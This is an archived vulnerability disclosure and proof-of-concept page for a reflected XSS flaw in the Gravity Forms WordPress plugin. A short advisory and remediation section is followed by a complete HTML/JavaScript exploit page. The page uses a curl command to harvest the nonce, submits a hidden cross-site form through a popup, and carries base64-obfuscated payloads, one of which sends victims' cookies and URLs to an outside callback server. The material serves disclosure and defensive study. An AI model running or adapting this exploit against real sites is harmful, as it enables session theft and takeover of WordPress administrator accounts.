PoC Archive PoC Archive
Medium CVE-2026-4406 patched

Gravity Forms Unauthenticated Reflected XSS via `gform_get_config` `form_ids` Parameter (CVE-2026-4406)

by Anthony Cihan (Obviam) · 2026-07-05

CVSS 6.1/10
Severity
Medium
CVE
CVE-2026-4406
Category
web
Affected product
Gravity Forms (WordPress plugin) by Rocketgenius, Inc.
Affected versions
<= 2.9.28 (fixed in 2.9.30.1)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherAnthony Cihan (Obviam)
CVE / AdvisoryCVE-2026-4406
Categoryweb
SeverityMedium
CVSS Score6.1 (CVSSv3.1) — AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
StatusPoC
Tagswordpress, gravity-forms, xss, reflected-xss, admin-ajax, unauthenticated, cwe-79
RelatedN/A

Affected Target

FieldValue
Software / SystemGravity Forms (WordPress plugin) by Rocketgenius, Inc.
Versions Affected<= 2.9.28 (fixed in 2.9.30.1)
Language / PlatformHTML/JavaScript PoC targeting a PHP/WordPress AJAX endpoint
Authentication RequiredNo (unauthenticated attacker)
Network Access RequiredYes — requires the victim’s browser to submit a crafted request to the target WordPress site (via user interaction)

Summary

The Gravity Forms WordPress plugin (<= 2.9.28) reflects the form_ids array values from the args parameter of the gform_get_config AJAX action verbatim into its HTTP response, which is served with Content-Type: text/html; charset=UTF-8. Because the value is neither type-validated nor HTML-entity encoded, and the response is parsed as HTML by the browser, an attacker can inject arbitrary HTML/JavaScript (e.g. <svg onload=...>) that executes in the target site’s origin. The required config_nonce is publicly embedded in every page that loads a Gravity Forms form and is not session-bound, making the nonce trivially obtainable, so exploitation requires no authentication — only that a victim (ideally a logged-in administrator) load a page or click a link that triggers the crafted request.


Vulnerability Details

Root Cause

Three compounding weaknesses: (1) CWE-20 — the form_ids array is expected to hold numeric form IDs but is accepted as arbitrary strings with no type/format validation; (2) CWE-116 — reflected form_ids values are not HTML-entity encoded before being written into the response body; (3) CWE-838 — the response, despite containing JSON-shaped data, is served with Content-Type: text/html, causing the browser to parse and execute any injected HTML/script rather than treat it as inert text. Together these produce a classic reflected XSS (CWE-79): unsanitized input flows from the POST /wp-admin/admin-ajax.php request straight into an HTML-rendered response.

Attack Vector

  1. Attacker fetches any public page on the target WordPress site containing a Gravity Forms form and extracts the publicly embedded, non-session-bound config_nonce from the gform_theme_config JS object.
  2. Attacker crafts a POST /wp-admin/admin-ajax.php request with action=gform_get_config, the harvested nonce, and args={"form_ids":["<svg onload=alert(document.domain)>"]}.
  3. Attacker delivers this request to a victim’s browser (e.g. via an auto-submitting form on an attacker page, opened in a popup to avoid X-Frame-Options: SAMEORIGIN blocking iframe rendering).
  4. The target server reflects the payload unescaped inside an HTML-comment-wrapped JSON blob, served as text/html.
  5. The victim’s browser parses the response as HTML, instantiating the injected <svg onload=...> element and executing attacker JavaScript in the target site’s origin — in the victim’s session context (e.g. an authenticated WordPress administrator).

Impact

Full JavaScript execution in the target WordPress origin under the victim’s session. This enables session-cookie theft, arbitrary authenticated actions (post/plugin/theme edits, creation of a rogue administrator account via the REST API), phishing via DOM takeover, and potential full site compromise if the victim is a logged-in administrator.


Environment / Lab Setup

Target:   WordPress 6.9.1 + Gravity Forms 2.9.28 (Apache/HTTP2)
Attacker: curl / browser-based delivery page (xss-poc.html)

Proof of Concept

PoC Script

See xss-poc.html in this folder.

1
curl -sk "https://[TARGET]/request-quote/" | grep -oP '"config_nonce":"\K[a-f0-9]+'

The page builds and submits a hidden form to gform_get_config with the chosen XSS payload embedded in form_ids, opening the response in a popup window (since X-Frame-Options: SAMEORIGIN blocks iframe rendering). On a vulnerable target, the payload executes in the popup, proving unauthenticated reflected XSS in the site’s origin (domain/cookie disclosure, or a full-screen “XSS EXPLOITATION VERIFIED” overlay for the DOM-takeover payload option).


Detection & Indicators of Compromise

Signs of compromise:

  • WAF/access logs showing admin-ajax.php requests with action=gform_get_config and non-numeric form_ids values.
  • Unexpected outbound requests from admin browsers to unfamiliar third-party domains shortly after visiting a link.
  • Newly created WordPress administrator accounts that cannot be attributed to known staff.

Remediation

ActionDetail
Primary fixUpgrade Gravity Forms to 2.9.30.1 or later, which type-casts form_ids via absint() and serves the gform_get_config response as application/json
Interim mitigationDeploy a WAF rule blocking HTML tags in the args parameter of admin-ajax.php requests with action=gform_get_config; enforce a restrictive script-src CSP directive site-wide

References


Notes

Mirrored from https://github.com/Hann1bl3L3ct3r/CVE-2026-4406 on 2026-07-05.

xss-poc.html
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Gravity Forms XSS — Exploitation POC</title>
<style>
  * { margin: 0; padding: 0; box-sizing: border-box; }
  body {
    font-family: 'Courier New', monospace;
    background: #0c0c0c;
    color: #b0b0b0;
    padding: 20px;
  }
  .header {
    border-bottom: 1px solid #222;
    padding-bottom: 12px;
    margin-bottom: 16px;
  }
  .header h1 {
    font-size: 15px;
    color: #e04040;
    font-weight: bold;
  }
  .header p {
    font-size: 11px;
    color: #555;
    margin-top: 4px;
  }
  .config {
    display: grid;
    grid-template-columns: 1fr 1fr;
    gap: 10px;
    margin-bottom: 16px;
  }
  .config label {
    display: block;
    font-size: 10px;
    color: #666;
    text-transform: uppercase;
    letter-spacing: 1px;
    margin-bottom: 3px;
  }
  .config input, .config select {
    width: 100%;
    padding: 7px 9px;
    background: #141414;
    border: 1px solid #2a2a2a;
    color: #d0d0d0;
    font-family: inherit;
    font-size: 12px;
    border-radius: 2px;
  }
  .config input:focus, .config select:focus {
    outline: none;
    border-color: #e04040;
  }
  .full-width { grid-column: 1 / -1; }
  .actions {
    display: flex;
    gap: 8px;
    margin-bottom: 16px;
  }
  button {
    padding: 8px 16px;
    font-family: inherit;
    font-size: 12px;
    border: none;
    border-radius: 2px;
    cursor: pointer;
    font-weight: bold;
  }
  .btn-fire {
    background: #e04040;
    color: #fff;
  }
  .btn-fire:hover { background: #c03030; }
  .btn-secondary {
    background: #222;
    color: #999;
    border: 1px solid #333;
  }
  .btn-secondary:hover { background: #2a2a2a; color: #ccc; }
  .log-area {
    background: #0a0a0a;
    border: 1px solid #1a1a1a;
    border-radius: 2px;
    padding: 12px;
    font-size: 11px;
    line-height: 1.7;
    max-height: 180px;
    overflow-y: auto;
    margin-bottom: 16px;
    white-space: pre-wrap;
    word-break: break-all;
  }
  .log-info { color: #4a9eff; }
  .log-ok { color: #40c040; }
  .log-warn { color: #e0a020; }
  .log-vuln { color: #e04040; }
  .frame-container {
    border: 1px solid #222;
    border-radius: 2px;
    overflow: hidden;
  }
  .frame-label {
    background: #141414;
    padding: 6px 10px;
    font-size: 10px;
    color: #555;
    text-transform: uppercase;
    letter-spacing: 1px;
    border-bottom: 1px solid #222;
    display: flex;
    justify-content: space-between;
  }
  .frame-label .origin { color: #e04040; }
  iframe {
    width: 100%;
    height: 400px;
    border: none;
    background: #fff;
  }
  .payload-info {
    margin-top: 16px;
    padding: 10px;
    background: #0f0f0f;
    border: 1px solid #1a1a1a;
    border-radius: 2px;
    font-size: 11px;
  }
  .payload-info summary {
    color: #666;
    cursor: pointer;
    font-size: 10px;
    text-transform: uppercase;
    letter-spacing: 1px;
  }
  .payload-info pre {
    margin-top: 8px;
    color: #888;
    line-height: 1.6;
    white-space: pre-wrap;
  }
</style>
</head>
<body>

<div class="header">
  <h1>Gravity Forms — Reflected XSS via gform_get_config</h1>
  <p>POST /wp-admin/admin-ajax.php &middot; form_ids parameter &middot; Unescaped reflection in text/html response</p>
</div>

<div class="config">
  <div>
    <label>Target URL</label>
    <input type="text" id="targetUrl" value="https://website.com">
  </div>
  <div>
    <label>Config Nonce</label>
    <input type="text" id="nonce" value="9308d72c0a" placeholder="Auto-fetched if blank">
  </div>
  <div class="full-width">
    <label>Payload</label>
    <select id="payloadSelect" onchange="updatePayload()">
      <option value="alert_domain">alert(document.domain) — Domain proof</option>
      <option value="alert_cookies">alert(domain + cookies) — Session data proof</option>
      <option value="exfil_c2">Exfil cookies to C2 callback</option>
      <option value="dom_takeover" selected>DOM takeover overlay — Visual proof</option>
      <option value="custom">Custom payload</option>
    </select>
  </div>
  <div class="full-width">
    <label>Raw Payload (editable)</label>
    <input type="text" id="payloadRaw" value="">
  </div>
</div>

<div class="actions">
  <button class="btn-fire" onclick="fireExploit()">Fire Exploit</button>
  <button class="btn-secondary" onclick="refreshNonce()">Refresh Nonce</button>
  <button class="btn-secondary" onclick="clearLog()">Clear Log</button>
</div>

<div class="log-area" id="logArea"></div>

<div class="frame-container">
  <div class="frame-label">
    <span>Exploit delivers via popup window (X-Frame-Options: SAMEORIGIN blocks iframe rendering)</span>
    <span class="origin" id="frameOrigin"></span>
  </div>
  <div style="padding: 24px; text-align: center; color: #444; font-size: 12px;">
    XSS payload renders in a new window in the target's origin context.<br>
    Ensure your browser allows popups for this page.
  </div>
</div>

<details class="payload-info">
  <summary>Vulnerability Details</summary>
  <pre>
Endpoint:    POST /wp-admin/admin-ajax.php
Action:      gform_get_config
Parameter:   args → form_ids[] (JSON array value)
Reflection:  Unescaped in text/html response body
Context:     JSON key inside &lt;!-- gf:json_start --&gt; ... &lt;!-- gf:json_end --&gt;
Impact:      Full JavaScript execution in victim's browser session
Prereqs:     Valid config_nonce (publicly available on any page with a GF form)
CVSS 3.1:   6.1 (Medium) — AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Response sample:
  Content-Type: text/html; charset=UTF-8
  &lt;!-- gf:json_start --&gt;{"success":true,"data":{"common":{"form":{"pagination":{"PAYLOAD":null}}}}}&lt;!-- gf:json_end --&gt;
  </pre>
</details>

<script>
const C2_URL = 'https://anthonycihan.com:8080';

// For complex payloads, base64-encode the JS and stash it in the SVG id attribute.
// The onload handler reads this.id, decodes, and evals. Zero quotes needed.
function b64Payload(js) {
  const encoded = btoa(js);
  return '<svg id=' + encoded + ' onload=eval(atob(this.id))>';
}

const payloads = {
  alert_domain: '<svg onload=alert(document.domain)>',
  alert_cookies: b64Payload('alert(document.domain+"\\n"+document.cookie)'),
  exfil_c2: b64Payload(`new Image().src="${C2_URL}/xss?d="+document.domain+"&c="+btoa(document.cookie)+"&u="+btoa(location.href)`),
  dom_takeover: b64Payload(`
    var d=document.createElement("div");
    d.style.cssText="position:fixed;top:0;left:0;width:100vw;height:100vh;background:#0c0c0c;color:#00ff41;font-family:monospace;padding:50px;z-index:999999;display:flex;flex-direction:column;gap:16px";
    d.innerHTML="<h1 style=\\"color:#e04040;font-size:28px\\">XSS EXPLOITATION VERIFIED</h1>"
      +"<hr style=\\"border-color:#333\\">"
      +"<p>Domain: "+document.domain+"</p>"
      +"<p>Cookies: "+document.cookie+"</p>"
      +"<p>Origin: "+location.origin+"</p>"
      +"<p>URL: "+location.href+"</p>"
      +"<p>Referrer: "+document.referrer+"</p>"
      +"<p>User-Agent: "+navigator.userAgent+"</p>"
      +"<p>Timestamp: "+new Date().toISOString()+"</p>"
      +"<hr style=\\"border-color:#333\\">"
      +"<p style=\\"color:#555\\">Gravity Forms gform_get_config reflected XSS &#8212; form_ids parameter</p>";
    document.body.innerHTML="";
    document.body.appendChild(d);
  `),
  custom: ''
};

function updatePayload() {
  const sel = document.getElementById('payloadSelect').value;
  const raw = document.getElementById('payloadRaw');
  if (sel === 'custom') {
    raw.value = '';
    raw.focus();
  } else {
    raw.value = payloads[sel];
  }
}

// Initialize
updatePayload();

function log(msg, cls) {
  const el = document.getElementById('logArea');
  const ts = new Date().toLocaleTimeString();
  el.innerHTML += `<span style="color:#333">${ts}</span> <span class="${cls}">${escHtml(msg)}</span>\n`;
  el.scrollTop = el.scrollHeight;
}

function clearLog() {
  document.getElementById('logArea').innerHTML = '';
}

function escHtml(s) {
  return s.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;');
}

async function refreshNonce() {
  const base = document.getElementById('targetUrl').value.replace(/\/+$/, '');
  log('Fetching fresh nonce from ' + base + '/request-quote/ ...', 'log-info');

  try {
    // Attempt direct fetch (will work if same-origin or CORS allows)
    const resp = await fetch(base + '/request-quote/', { mode: 'cors', credentials: 'include' });
    const html = await resp.text();
    const match = html.match(/"config_nonce":"([a-f0-9]+)"/);
    if (match) {
      document.getElementById('nonce').value = match[1];
      log('Nonce updated: ' + match[1], 'log-ok');
    } else {
      log('Could not extract nonce from response', 'log-warn');
    }
  } catch (e) {
    log('CORS blocked direct fetch. Use curl to get a fresh nonce:', 'log-warn');
    log('curl -sk "' + base + '/request-quote/" | grep -oP \'"config_nonce":"\\K[a-f0-9]+\'', 'log-info');
  }
}

function fireExploit() {
  const base = document.getElementById('targetUrl').value.replace(/\/+$/, '');
  const nonce = document.getElementById('nonce').value.trim();
  const payload = document.getElementById('payloadRaw').value;
  const ajaxUrl = base + '/wp-admin/admin-ajax.php';

  if (!payload) {
    log('No payload set. Select or enter a payload first.', 'log-warn');
    return;
  }

  log('Target: ' + ajaxUrl, 'log-info');
  log('Nonce: ' + (nonce || '(none)'), 'log-info');
  log('Payload: ' + payload, 'log-info');
  log('Building form and submitting to target ...', 'log-info');

  // Remove any previous exploit form
  const prev = document.getElementById('exploitForm');
  if (prev) prev.remove();

  // Open a target window first (must be in click handler to avoid popup blocker)
  const xssWin = window.open('about:blank', 'xssWindow', 'width=900,height=600,scrollbars=yes');
  if (!xssWin) {
    log('Popup blocked! Allow popups for this page and try again.', 'log-warn');
    return;
  }

  // Build and submit the form targeting the popup window
  const form = document.createElement('form');
  form.id = 'exploitForm';
  form.method = 'POST';
  form.action = ajaxUrl;
  form.enctype = 'multipart/form-data';
  form.target = 'xssWindow';
  form.style.display = 'none';

  const fields = {
    'action': 'gform_get_config',
    'args': '{"form_ids":["' + payload + '"]}',
    'config_path': 'gform_theme_config/common/form/pagination/3',
    'query_string': ''
  };

  if (nonce) {
    fields['gform_ajax_nonce'] = nonce;
  }

  for (const [name, value] of Object.entries(fields)) {
    const input = document.createElement('textarea');
    input.name = name;
    input.textContent = value;
    input.style.display = 'none';
    form.appendChild(input);
  }

  document.body.appendChild(form);
  form.submit();

  log('Form submitted → response loading in popup window', 'log-ok');
  log('If XSS fires, the payload executes in the context of: ' + new URL(ajaxUrl).origin, 'log-vuln');

  // Update origin display
  document.getElementById('frameOrigin').textContent = new URL(ajaxUrl).origin;
}
</script>

</body>
</html>